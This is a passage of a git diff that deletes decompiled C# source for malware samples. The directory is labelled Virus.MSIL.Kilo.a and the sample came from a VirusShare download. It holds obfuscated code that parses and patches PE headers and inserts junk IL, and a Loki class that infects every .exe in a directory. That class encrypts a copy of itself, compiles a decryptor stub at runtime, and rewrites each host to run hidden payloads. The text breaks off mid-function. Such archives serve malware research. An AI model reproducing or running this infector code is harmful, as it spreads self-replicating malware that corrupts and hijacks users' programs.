attributes, (CallingConventions) callingConvention, returnType3, parameterTypes); - } - lapixb.jtavbqaucxoGqk(method, ref methodBuilder); - zrrhppnseac.kmvtlesig.Add((object) methodBuilder); - zrrhppnseac.raxuojEtdz.Add((object) method); - } - } - } - } - } - - public MethodBuilder OpjjrZFfBquC(Type type, MethodBase methodBase) - { - MethodBuilder methodBuilder; - for (int index1 = 0; index1 < this.DlmnuQpdcAjua.Count; ++index1) - { - if (((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).wqpmeavkukqpy().FullName == type.FullName) - { - int num; - for (int index2 = 0; index2 < ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).raxuojEtdz.Count; index2 = num) - { - MethodBase methodBase1 = (MethodBase) ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).raxuojEtdz[index2]; - if (methodBase.GetHashCode() == methodBase1.GetHashCode()) - { - methodBuilder = (MethodBuilder) ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).kmvtlesig[index2]; - goto label_11; - } - else - num = index2 + 1; - } - methodBuilder = (MethodBuilder) null; - goto label_11; - } - } - methodBuilder = (MethodBuilder) null; -label_11: - return methodBuilder; - } - - public ConstructorBuilder igvsCkvbrtxgpd( - Type type, - ConstructorInfo ctorInfo) - { - int index1 = 0; - while (true) - { - if (index1 < this.DlmnuQpdcAjua.Count) - { - if (!(((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).wqpmeavkukqpy().FullName == type.FullName)) - ++index1; - else - break; - } - else - goto label_10; - } - int index2 = 0; - ConstructorBuilder constructorBuilder; - while (index2 < ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).oBzVFgfx.Count) - { - ConstructorInfo constructorInfo = (ConstructorInfo) ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).oBzVFgfx[index2]; - if (ctorInfo.GetHashCode() == constructorInfo.GetHashCode()) - { - constructorBuilder = (ConstructorBuilder) ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).ybvhoeZodu[index2]; - goto label_11; - } - else - ++index2; - } - constructorBuilder = (ConstructorBuilder) null; - goto label_11; -label_10: - constructorBuilder = (ConstructorBuilder) null; -label_11: - return constructorBuilder; - } - - public PropertyBuilder jacaZbbgz(Type type, PropertyInfo propertyInfo) - { - PropertyBuilder propertyBuilder; - for (int index1 = 0; index1 < this.DlmnuQpdcAjua.Count; ++index1) - { - if (((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).wqpmeavkukqpy().FullName == type.FullName) - { - int index2 = 0; - while (true) - { - if (index2 < ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).chgzlt.Count) - { - PropertyInfo propertyInfo1 = (PropertyInfo) ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).chgzlt[index2]; - if (!(propertyInfo.Name == propertyInfo1.Name) || (object) propertyInfo.DeclaringType != (object) propertyInfo1.DeclaringType) - ++index2; - else - break; - } - else - goto label_7; - } - propertyBuilder = (PropertyBuilder) ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).Oggqplmoh[index2]; - goto label_11; -label_7: - propertyBuilder = (PropertyBuilder) null; - goto label_11; - } - } - propertyBuilder = (PropertyBuilder) null; -label_11: - return propertyBuilder; - } - - public FieldBuilder pdjwlfze(Type type, FieldInfo fieldInfo) - { - FieldBuilder fieldBuilder; - for (int index1 = 0; index1 < this.DlmnuQpdcAjua.Count; ++index1) - { - if (((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).wqpmeavkukqpy().FullName == type.FullName) - { - for (int index2 = 0; index2 < ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).ZmtahYdrlgekj.Count; ++index2) - { - FieldInfo fieldInfo1 = (FieldInfo) ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).ZmtahYdrlgekj[index2]; - if (fieldInfo.Name == fieldInfo1.Name) - { - if ((object) fieldInfo.DeclaringType == (object) fieldInfo1.DeclaringType) - { - fieldBuilder = (FieldBuilder) ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).fldsCeaoUxycMb[index2]; - goto label_12; - } - } - } - fieldBuilder = (FieldBuilder) null; - goto label_12; - } - } - fieldBuilder = (FieldBuilder) null; -label_12: - return fieldBuilder; - } - - public EventBuilder ksarswaQpyRx(Type type, EventInfo eventInfo) - { - int index1 = 0; - while (true) - { - if (index1 < this.DlmnuQpdcAjua.Count) - { - if (!(((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).wqpmeavkukqpy().FullName == type.FullName)) - ++index1; - else - break; - } - else - goto label_10; - } - EventBuilder eventBuilder; - for (int index2 = 0; index2 < ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).mbGhslimc.Count; ++index2) - { - EventInfo eventInfo1 = (EventInfo) ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).mbGhslimc[index2]; - if (eventInfo.Name == eventInfo1.Name && (object) eventInfo.DeclaringType == (object) eventInfo1.DeclaringType) - { - eventBuilder = (EventBuilder) ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).badfllXdmn[index2]; - goto label_11; - } - } - eventBuilder = (EventBuilder) null; - goto label_11; -label_10: - eventBuilder = (EventBuilder) null; -label_11: - return eventBuilder; - } - - public TypeBuilder pucxpjpo(Type type) - { - TypeBuilder typeBuilder; - for (int index = 0; index < this.DlmnuQpdcAjua.Count; ++index) - { - if (((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index]).wqpmeavkukqpy().FullName == type.FullName) - { - typeBuilder = ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index]).eIuaThbbxh(); - goto label_6; - } - } - typeBuilder = (TypeBuilder) null; -label_6: - return typeBuilder; - } - } - - private class bkhltqlGjvox - { - private ILGenerator qzkpjgasw; - private LocalBuilder[] xqylhaJreL; - - public bkhltqlGjvox(ILGenerator ilGenerator, LocalBuilder[] localBuilders) - { - this.qzkpjgasw = ilGenerator; - this.xqylhaJreL = localBuilders; - } - - public void eSqpqsy() - { - if (lapixb.idvvngznumgka.Next(10) == 0) - this.qzkpjgasw.Emit(OpCodes.Nop); - if (lapixb.idvvngznumgka.Next(20) != 0 || this.xqylhaJreL.Length <= 0) - return; - LocalBuilder local = this.xqylhaJreL[lapixb.idvvngznumgka.Next(this.xqylhaJreL.Length)]; - this.qzkpjgasw.Emit(OpCodes.Ldloc, local); - this.qzkpjgasw.Emit(OpCodes.Pop); - } - } - - private sealed class AssemblyProvider : IAssemblyProvider - { - public Assembly[] GetAssemblies() => throw new NotImplementedException(); - - public Assembly Load(string assemblyName) => Assembly.Load(assemblyName); - } - - private class bOukncg - { - protected int xhwqHleoQNnx; - protected byte[] GbgccvuFkgkS = new byte[128]; - - [SpecialName] - public int vivxuclimwmaeG() => this.xhwqHleoQNnx; - - public void ugusxnfncbc(BinaryReader source) - { - source.Read(this.GbgccvuFkgkS, 0, this.GbgccvuFkgkS.Length); - this.xhwqHleoQNnx = (int) this.GbgccvuFkgkS[60] | (int) this.GbgccvuFkgkS[61] << 8 | (int) this.GbgccvuFkgkS[62] << 16 | (int) this.GbgccvuFkgkS[63] << 24; - } - int aazijwjoLv { } - } - - private class vtimUuoda - { - protected byte[] woctiEonpovvve = new byte[4]; - protected ushort FgzvMs; - protected ushort fazplng; - protected int gPscyordwh; - protected ushort Hnltst; - protected ushort zaldBkxiryhha; - protected ushort iFvhuaiz; - protected byte cnlbuca; - protected byte euvpPorqhjzvdU; - protected uint FufbZn; - protected uint xwjdvQwlxq; - protected uint kumpHwejny; - protected uint JDjpcxsjduuunp; - protected uint jrzvms; - protected uint fymajdjlltlvHl; - protected uint rbvbaGzzhe; - public uint aymxfxlcu; - public uint jlnmvaHDid; - protected ushort duinxmpvz; - protected ushort acfpitrTJz; - protected ushort zxOsiIf; - protected ushort bpsFeuwma; - protected ushort bEqxAkmq; - protected ushort cLuTtvv; - protected uint jHwyvfti; - public uint PUvhlx; - protected uint yQyNidqpzk; - protected uint sloala; - protected uint auepgQfrlnlNQ; - protected uint mxdxohidl; - protected uint iianhnbuonauG; - protected uint fhcfwJt; - protected uint pbfnpxkqIcl; - protected uint kWyftlxwdqqCaY; - protected uint reueak; - protected lapixb.tvptAvk eyslyulDr; - protected lapixb.tvptAvk dbhcscgatswc; - public lapixb.tvptAvk jjbjkethqjmz; - protected lapixb.tvptAvk JZDjyrcgg; - protected lapixb.tvptAvk vaLgsekdcrsuu; - protected lapixb.tvptAvk ndgxjagskbu; - protected lapixb.tvptAvk dpjcJbtvdjhvjd; - protected lapixb.tvptAvk sbcrcoesF; - protected lapixb.tvptAvk oxlSoGxcncpIyn; - protected lapixb.tvptAvk dDahnl; - protected lapixb.tvptAvk dvRceCnmw; - protected lapixb.tvptAvk plcwuaqrwSY; - protected lapixb.tvptAvk ybnvrw; - protected lapixb.tvptAvk stuhEmvpdrfyn; - public lapixb.tvptAvk ziuklvehg; - public lapixb.tvptAvk sgneBNjjhkn; - public ArrayList dHnysskou; - - public byte[] iymvzvhxdMi(BinaryReader source) - { - try - { - if (this.jjbjkethqjmz.OzfbAk != 0U) - { - source.BaseStream.Position = (long) this.vRywlmli(this.jjbjkethqjmz.OzfbAk); - return source.ReadBytes((int) this.jjbjkethqjmz.Pfmhoxt); - } - return (byte[]) null; - } - catch - { - return (byte[]) null; - } - } - - public void vQzsqfb(BinaryReader source, lapixb.bOukncg msdosheader) - { - source.BaseStream.Position = (long) msdosheader.vivxuclimwmaeG(); - source.Read(this.woctiEonpovvve, 0, 4); - if (this.woctiEonpovvve[0] == (byte) 80) - { - if (this.woctiEonpovvve[1] == (byte) 69 && this.woctiEonpovvve[2] == (byte) 0 && this.woctiEonpovvve[3] == (byte) 0) - { - this.FgzvMs = source.ReadUInt16(); - if (this.FgzvMs != (ushort) 332) - throw new Exception("Incorrect machine id code"); - this.fazplng = source.ReadUInt16(); - this.gPscyordwh = source.ReadInt32(); - if (source.ReadInt32() != 0) - throw new Exception("Symbol table offset != 0"); - this.Hnltst = source.ReadInt32() == 0 ? source.ReadUInt16() : throw new Exception("Symbol table count != 0"); - this.zaldBkxiryhha = source.ReadUInt16(); - this.iFvhuaiz = source.ReadUInt16(); - if (this.iFvhuaiz != (ushort) 267) - throw new Exception("Bad magic number for PE Optional Header"); - this.cnlbuca = source.ReadByte(); - this.euvpPorqhjzvdU = source.ReadByte(); - if (this.cnlbuca != (byte) 6 || this.euvpPorqhjzvdU != (byte) 0) - throw new Exception("Bad L number"); - this.FufbZn = source.ReadUInt32(); - this.xwjdvQwlxq = source.ReadUInt32(); - this.kumpHwejny = source.ReadUInt32(); - this.JDjpcxsjduuunp = source.ReadUInt32(); - this.jrzvms = source.ReadUInt32(); - this.fymajdjlltlvHl = source.ReadUInt32(); - this.rbvbaGzzhe = source.ReadUInt32(); - this.aymxfxlcu = source.ReadUInt32(); - this.jlnmvaHDid = source.ReadUInt32(); - this.duinxmpvz = source.ReadUInt16(); - this.acfpitrTJz = source.ReadUInt16(); - this.zxOsiIf = source.ReadUInt16(); - this.bpsFeuwma = source.ReadUInt16(); - this.bEqxAkmq = source.ReadUInt16(); - this.cLuTtvv = source.ReadUInt16(); - int num = (int) source.ReadUInt32(); - this.PUvhlx = source.ReadUInt32(); - this.jHwyvfti = source.ReadUInt32(); - this.yQyNidqpzk = source.ReadUInt32(); - this.sloala = (uint) source.ReadUInt16(); - this.auepgQfrlnlNQ = (uint) source.ReadUInt16(); - this.mxdxohidl = source.ReadUInt32(); - this.iianhnbuonauG = source.ReadUInt32(); - this.fhcfwJt = source.ReadUInt32(); - this.pbfnpxkqIcl = source.ReadUInt32(); - this.kWyftlxwdqqCaY = source.ReadUInt32(); - this.reueak = source.ReadUInt32(); - this.eyslyulDr = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32()); - this.dbhcscgatswc = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32()); - this.jjbjkethqjmz = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32()); - this.JZDjyrcgg = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32()); - this.vaLgsekdcrsuu = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32()); - this.ndgxjagskbu = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32()); - this.dpjcJbtvdjhvjd = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32()); - this.sbcrcoesF = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32()); - this.oxlSoGxcncpIyn = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32()); - this.dDahnl = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32()); - this.dvRceCnmw = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32()); - this.plcwuaqrwSY = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32()); - this.ybnvrw = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32()); - this.stuhEmvpdrfyn = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32()); - this.ziuklvehg = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32()); - this.sgneBNjjhkn = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32()); - this.dHnysskou = new ArrayList(); - for (int index = 0; index < (int) this.fazplng; ++index) - { - this.dHnysskou.Add((object) new lapixb.kcXvcnrrwpqgz()); - ((lapixb.kcXvcnrrwpqgz) this.dHnysskou[index]).rusGhmQvlumtp(source); - } - return; - } - } - throw new Exception("Missing PE file signature"); - } - - public uint vRywlmli(uint rva) - { - int index = 0; - while (true) - { - if (index < this.dHnysskou.Count) - { - if (((lapixb.kcXvcnrrwpqgz) this.dHnysskou[index]).huMNybeUrrv <= rva) - { - if (rva < (uint) ((int) ((lapixb.kcXvcnrrwpqgz) this.dHnysskou[index]).huMNybeUrrv + (int) ((lapixb.kcXvcnrrwpqgz) this.dHnysskou[index]).ttireywvav)) - break; - } - ++index; - } - else - goto label_6; - } - return ((lapixb.kcXvcnrrwpqgz) this.dHnysskou[index]).efxraidDxamjk + (rva - ((lapixb.kcXvcnrrwpqgz) this.dHnysskou[index]).huMNybeUrrv); -label_6: - throw new Exception("Unresolvable RVA " + (object) rva); - } - } - - private class gxygydds : lapixb.vtimUuoda - { - public void fcvwhfbWshwQrL(lapixb.tvptAvk d, BinaryWriter dest, lapixb.bOukncg msdosheader) - { - dest.BaseStream.Position = (long) (msdosheader.vivxuclimwmaeG() + 136); - dest.Write(d.OzfbAk); - dest.Write(d.Pfmhoxt); - } - - public void hhhmxcsare( - lapixb.kcXvcnrrwpqgz sh, - BinaryReader source, - BinaryWriter dest, - lapixb.bOukncg msdosheader) - { - source.BaseStream.Position = (long) (msdosheader.vivxuclimwmaeG() + 6); - ushort num = source.ReadUInt16(); - dest.BaseStream.Position = (long) (msdosheader.vivxuclimwmaeG() + 6); - dest.Write((int) num + 1); - dest.BaseStream.Position = (long) (msdosheader.vivxuclimwmaeG() + 248 + (int) num * 40); - sh.tpSchlVvwqeu(dest); - } - - public void sBcyVrsjuhu(uint isize, BinaryWriter dest, lapixb.bOukncg msdosheader) - { - dest.BaseStream.Position = (long) (msdosheader.vivxuclimwmaeG() + 80); - dest.Write(isize); - } - - public void fDqzgijCXyjmq( - uint resOffset, - uint oldResRVA, - uint newResRVA, - BinaryReader src, - BinaryWriter dest) - { - this.xxYrwlwunlr(resOffset, 0U, oldResRVA, newResRVA, src, dest); - } - - private void xxYrwlwunlr( - uint resOffset, - uint nodeOffset, - uint oldResRVA, - uint newResRVA, - BinaryReader src, - BinaryWriter dest) - { - src.BaseStream.Position = (long) (uint) ((int) resOffset + (int) nodeOffset + 12); - ushort num1 = (ushort) ((int) src.ReadUInt16() + (int) src.ReadUInt16()); - int num2; - for (int index = 0; index < (int) num1; index = num2 + 1) - { - int num3 = (int) src.ReadUInt32(); - uint num4 = src.ReadUInt32(); - long position = src.BaseStream.Position; - if (((int) num4 & int.MinValue) != 0) - this.xxYrwlwunlr(resOffset, (uint) ((int) num4 & int.MaxValue), oldResRVA, newResRVA, src, dest); - else - this.jvcqYpgpskGe(resOffset + num4, oldResRVA, newResRVA, src, dest); - src.BaseStream.Position = position; - num2 = index; - } - } - - private void jvcqYpgpskGe( - uint dataOffset, - uint oldResRVA, - uint newResRVA, - BinaryReader src, - BinaryWriter dest) - { - src.BaseStream.Position = (long) dataOffset; - uint num = src.ReadUInt32() + newResRVA - oldResRVA; - dest.BaseStream.Position = src.BaseStream.Position - 4L; - dest.Write(num); - dest.BaseStream.Position += 12L; - src.BaseStream.Position += 12L; - } - } - - private class tvptAvk - { - public uint OzfbAk; - public uint Pfmhoxt; - - public tvptAvk(uint rva, uint size) - { - this.OzfbAk = rva; - this.Pfmhoxt = size; - } - - public virtual string mxsnrsof() => "0x" + this.OzfbAk.ToString("X8") + ",0x" + this.Pfmhoxt.ToString("X8"); - } - - private class kcXvcnrrwpqgz - { - public byte[] Gbzzvacltssph; - public uint ttireywvav; - public uint huMNybeUrrv; - public uint vWwpmibp; - public uint efxraidDxamjk; - protected uint wtcpyvdAquu; - protected uint epQnvoz; - protected ushort goebwlsq; - protected ushort rOnzlZpa; - public uint atacseufwU; - - public kcXvcnrrwpqgz() - { - this.rOnzlZpa = (ushort) 0; - this.goebwlsq = (ushort) 0; - this.epQnvoz = 0U; - this.wtcpyvdAquu = 0U; - } - - public kcXvcnrrwpqgz( - string strname, - uint vsize, - uint vaddr, - uint phsize, - uint phoffs, - uint flags) - { - this.Gbzzvacltssph = new byte[8]; - int num; - for (int index = 0; index < strname.Length && index < 8; index = num + 1) - { - this.Gbzzvacltssph[index] = (byte) strname[index]; - num = index; - } - this.ttireywvav = vsize; - this.huMNybeUrrv = vaddr; - this.vWwpmibp = phsize; - this.efxraidDxamjk = phoffs; - this.atacseufwU = flags; - this.rOnzlZpa = (ushort) 0; - this.goebwlsq = (ushort) 0; - this.epQnvoz = 0U; - this.wtcpyvdAquu = 0U; - } - - public void tpSchlVvwqeu(BinaryWriter dest) - { - dest.Write(this.Gbzzvacltssph, 0, 8); - dest.Write(this.ttireywvav); - dest.Write(this.huMNybeUrrv); - dest.Write(this.vWwpmibp); - dest.Write(this.efxraidDxamjk); - dest.Write(this.wtcpyvdAquu); - dest.Write(this.epQnvoz); - dest.Write(this.goebwlsq); - dest.Write(this.rOnzlZpa); - dest.Write(this.atacseufwU); - } - - public void rusGhmQvlumtp(BinaryReader source) - { - this.Gbzzvacltssph = new byte[8]; - source.Read(this.Gbzzvacltssph, 0, 8); - this.ttireywvav = source.ReadUInt32(); - this.huMNybeUrrv = source.ReadUInt32(); - this.vWwpmibp = source.ReadUInt32(); - this.efxraidDxamjk = source.ReadUInt32(); - this.wtcpyvdAquu = source.ReadUInt32(); - this.epQnvoz = source.ReadUInt32(); - this.goebwlsq = source.ReadUInt16(); - this.rOnzlZpa = source.ReadUInt16(); - this.atacseufwU = source.ReadUInt32(); - } - } - - private class xkocvnL - { - private Random eLnfjzvLtiImkb; - private int qxspijgsvo; - private int zgetot; - - public xkocvnL(int len1, int len2, int seed) - { - this.eLnfjzvLtiImkb = new Random(seed); - this.qxspijgsvo = len1; - this.zgetot = len2; - } - - public string tbcwkzbtonhk() - { - string str = ""; - int num = this.eLnfjzvLtiImkb.Next(this.qxspijgsvo, this.zgetot); - for (int index = 0; index < num; ++index) - { - if (this.eLnfjzvLtiImkb.Next(8) == 1) - str += (string) (object) (char) (65 + this.eLnfjzvLtiImkb.Next(26)); - else - str += (string) (object) (char) (97 + this.eLnfjzvLtiImkb.Next(26)); - } - return str; - } - } - } -} diff --git a/MSIL/Virus/MSIL/K/Virus.MSIL.Kilo.a-f94fb78411f11c9fe81fb962c63346417fe58b0057f41acb265173818d922567/AssemblyInfo.cs b/MSIL/Virus/MSIL/K/Virus.MSIL.Kilo.a-f94fb78411f11c9fe81fb962c63346417fe58b0057f41acb265173818d922567/AssemblyInfo.cs deleted file mode 100644 index 7973e7bb..00000000 --- a/MSIL/Virus/MSIL/K/Virus.MSIL.Kilo.a-f94fb78411f11c9fe81fb962c63346417fe58b0057f41acb265173818d922567/AssemblyInfo.cs +++ /dev/null @@ -1,16 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; -using System.Security.Permissions; - -[assembly: AssemblyProduct("")] -[assembly: Guid("4086dd52-8274-4eb3-8a28-7de497915d23")] -[assembly: ComVisible(false)] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCopyright("")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyTitle("")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)] diff --git a/MSIL/Virus/MSIL/K/Virus.MSIL.Kilo.a-f94fb78411f11c9fe81fb962c63346417fe58b0057f41acb265173818d922567/Loki.cs b/MSIL/Virus/MSIL/K/Virus.MSIL.Kilo.a-f94fb78411f11c9fe81fb962c63346417fe58b0057f41acb265173818d922567/Loki.cs deleted file mode 100644 index 40fb773b..00000000 --- a/MSIL/Virus/MSIL/K/Virus.MSIL.Kilo.a-f94fb78411f11c9fe81fb962c63346417fe58b0057f41acb265173818d922567/Loki.cs +++ /dev/null @@ -1,256 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Loki.Loki -// Assembly: Loki, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 803A5091-7913-4057-8BFA-DEFEA0629B18 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.MSIL.Kilo.a-f94fb78411f11c9fe81fb962c63346417fe58b0057f41acb265173818d922567.exe - -using Microsoft.CSharp; -using Microsoft.Win32; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.Diagnostics; -using System.IO; -using System.Security.Cryptography; -using System.Text; - -namespace Loki -{ - internal class Loki - { - private int encm = 0; - private string k = (string) null; - private string iv = (string) null; - - public void Populate(string dir) - { - if (!Directory.Exists(dir)) - return; - string[] files = Directory.GetFiles(dir, "*.exe"); - for (int index1 = 0; index1 < files.Length; ++index1) - { - try - { - byte[] numArray1 = this.read(files[index1]); - if (numArray1[60] != (byte) 128) - { - new Random().Next(1000); - string d = Convert.ToString(Process.GetCurrentProcess().MainModule.FileName); - string str1 = Directory.GetCurrentDirectory() + "\\" + this.Rand() + ".exe"; - string str2 = Directory.GetCurrentDirectory() + "\\" + this.Rand() + (object) DateTime.Now.Year + ".exe"; - byte[] numArray2 = this.read(d); - FileStream output1 = new FileStream(str1, FileMode.CreateNew); - BinaryWriter binaryWriter1 = new BinaryWriter((Stream) output1); - for (int index2 = 0; index2 < numArray2.Length; ++index2) - binaryWriter1.BaseStream.WriteByte(numArray2[index2]); - binaryWriter1.Close(); - output1.Close(); - this.Encrypt(str1, str2, this.encm); - if (File.Exists(str2)) - { - if (File.Exists(str1)) - File.Delete(str1); - int length = (int) new FileInfo(files[index1]).Length; - string str3 = this.Decryptor(str2, 5632, length + 5632, this.encm); - if (File.Exists(str3)) - { - byte[] numArray3 = this.read(str3); - byte[] numArray4 = this.read(str2); - if (File.Exists(files[index1])) - { - File.Delete(files[index1]); - FileStream output2 = new FileStream(files[index1], FileMode.CreateNew); - BinaryWriter binaryWriter2 = new BinaryWriter((Stream) output2); - for (int index3 = 0; index3 < numArray3.Length; ++index3) - binaryWriter2.BaseStream.WriteByte(numArray3[index3]); - for (int index4 = 0; index4 < numArray1.Length; ++index4) - binaryWriter2.BaseStream.WriteByte(numArray1[index4]); - for (int index5 = 0; index5 < numArray4.Length; ++index5) - binaryWriter2.BaseStream.WriteByte(numArray4[index5]); - binaryWriter2.Close(); - output2.Close(); - File.Delete(str2); - File.Delete(str3); - } - } - else if (File.Exists(str2)) - File.Delete(str2); - } - } - } - catch - { - } - } - } - - public byte[] read(string d) - { - FileStream input = new FileStream(d, FileMode.Open, FileAccess.Read); - BinaryReader binaryReader = new BinaryReader((Stream) input); - byte[] numArray = new byte[input.Length]; - for (int index = 0; index < numArray.Length; ++index) - numArray[index] = binaryReader.ReadByte(); - binaryReader.Close(); - input.Close(); - return numArray; - } - - public void Encrypt(string inf, string outf, int e) - { - if (e == 1) - { - try - { - string s = this.getKey(); - if (s.Length > 8) - s = s.Substring(0, 8); - else if (s.Length < 8) - { - int num = 8 - s.Length; - for (int index = 0; index < num; ++index) - s += (string) (object) index; - } - byte[] bytes = new UnicodeEncoding().GetBytes(s); - FileStream fileStream1 = new FileStream(outf, FileMode.Create); - RijndaelManaged rijndaelManaged = new RijndaelManaged(); - CryptoStream cryptoStream = new CryptoStream((Stream) fileStream1, rijndaelManaged.CreateEncryptor(bytes, bytes), CryptoStreamMode.Write); - FileStream fileStream2 = new FileStream(inf, FileMode.Open); - int num1; - while ((num1 = fileStream2.ReadByte()) != -1) - cryptoStream.WriteByte((byte) num1); - fileStream2.Close(); - cryptoStream.Close(); - fileStream1.Close(); - } - catch - { - } - } - else - { - try - { - byte[] buffer = this.read(inf); - byte[] rgbKey = Convert.FromBase64String(this.getKey()); - byte[] rgbIV = Convert.FromBase64String(this.getIV()); - FileStream fileStream = File.Open(outf, FileMode.OpenOrCreate); - CryptoStream output = new CryptoStream((Stream) fileStream, new TripleDESCryptoServiceProvider().CreateEncryptor(rgbKey, rgbIV), CryptoStreamMode.Write); - BinaryWriter binaryWriter = new BinaryWriter((Stream) output); - binaryWriter.Write(buffer); - binaryWriter.Close(); - output.Close(); - fileStream.Close(); - } - catch - { - } - } - } - - public string Decryptor(string f, int num, int hl, int e) - { - string path = Directory.GetCurrentDirectory() + "\\" + this.Rand() + (object) DateTime.Now.Year + ".exe"; - ICodeCompiler compiler = new CSharpCodeProvider().CreateCompiler(); - CompilerParameters options = new CompilerParameters(); - options.ReferencedAssemblies.Add("System.dll"); - options.ReferencedAssemblies.Add("System.Windows.Forms.dll"); - options.GenerateExecutable = true; - options.CompilerOptions = "/target:winexe"; - options.OutputAssembly = path; - Random random = new Random(); - string str1 = this.Rand() + (object) random.Next(100); - string str2 = this.Rand() + (object) hl; - string str3 = this.Rand() + (object) random.Next(hl); - string str4 = "\nusing System; \nusing System.Windows.Forms; \nusing System.Security.Cryptography; \nusing System.Text; \nusing System.Diagnostics; \nusing System.IO; \nusing System.Threading; \nnamespace " + str1 + " { \n class " + str1 + str2 + ": Form { \n static string cf = Convert.ToString(Process.GetCurrentProcess().MainModule.FileName); \n static string inf = @\"" + f + "\"; \n static string outf = @\"" + str2 + ".exe\"; \n static string tmp = @\"" + str2 + str3 + ".exe\"; \n"; - string str5; - if (e == 1) - str5 = str4 + "static string p = @\"" + this.getKey() + "\"; \n"; - else - str5 = str4 + "static byte[] Key = Convert.FromBase64String(\"" + this.getKey() + "\"); \nstatic byte[] IV = Convert.FromBase64String(\"" + this.getIV() + "\"); \n"; - string str6 = str5 + " public static void Main() { \n " + str3 + "(); \n } \n private static void " + str3 + "() { \n try { \n FileStream fs = new FileStream(cf, FileMode.Open, FileAccess.Read); \n BinaryReader brb = new BinaryReader(fs); \n byte[] b = new byte[fs.Length]; \n for (int q = 0; q < b.Length; q++) { \n b[q] = brb.ReadByte(); \n } \n brb.Close(); \n fs.Close(); \n FileStream fsb = new FileStream(tmp, FileMode.CreateNew); \n BinaryWriter bwb = new BinaryWriter(fsb); \n for (int z = " + (object) num + "; z < " + (object) hl + "; z++) { \n bwb.BaseStream.WriteByte(b[z]); \n } \n fsb.Close(); \n bwb.Close(); \n File.SetAttributes(tmp, FileAttributes.Hidden); \n try { \n Process.Start(tmp).WaitForExit(); \n File.Delete(tmp); \n } catch { } \n FileStream fb = new FileStream(inf, FileMode.CreateNew); \n BinaryWriter bw = new BinaryWriter(fb); \n for (int z = " + (object) hl + "; z < b.Length; z++) { \n bw.BaseStream.WriteByte(b[z]); \n } \n fb.Close(); \n bw.Close(); \n File.SetAttributes(inf, FileAttributes.Hidden); \n"; - string source = (e != 1 ? str6 + " FileStream fr = new FileStream(inf, FileMode.Open); \n CryptoStream cs = new CryptoStream(fr, new TripleDESCryptoServiceProvider().CreateDecryptor(Key, IV), CryptoStreamMode.Read); \n if(File.Exists(outf)) { \n File.Delete(outf); \n } \n FileStream o = new FileStream(outf, FileMode.Create); \n int data; \n while((data = cs.ReadByte()) != -1) { \n o.WriteByte((byte)data); \n } \n o.Close(); \n cs.Close(); \n fr.Close(); \n" : str6 + " if(p.Length > 8) { \n p = p.Substring(0,8); \n } else if(p.Length < 8) { \n int a = 8 - p.Length; \n for(int i = 0; i < a; i++) \n p = p + i; \n } \n UnicodeEncoding UE = new UnicodeEncoding(); \n byte[] k = UE.GetBytes(p); \n FileStream fr = new FileStream(inf, FileMode.Open); \n RijndaelManaged r = new RijndaelManaged(); \n CryptoStream cs = new CryptoStream(fr, r.CreateDecryptor(k, k), CryptoStreamMode.Read); \n if(File.Exists(outf)) { \n File.Delete(outf); \n } \n FileStream o = new FileStream(outf, FileMode.Create); \n int data; \n while((data = cs.ReadByte()) != -1) { \n o.WriteByte((byte)data); \n } \n o.Close(); \n cs.Close(); \n fr.Close(); \n") + " if(File.Exists(inf)) { \n File.Delete(inf); \n } \n Thread t = new Thread(new ThreadStart(" + str3 + str2 + ")); \n t.Start(); \n } catch (Exception er) { \n \n } \n } \n private static void " + str3 + str2 + "() { \n try { \n Process.Start(outf).WaitForExit(); \n File.Delete(outf); \n } catch { } \n } \n \n } \n} \n"; - CompilerResults compilerResults = compiler.CompileAssemblyFromSource(options, source); - if (compilerResults.Errors.Count > 0) - { 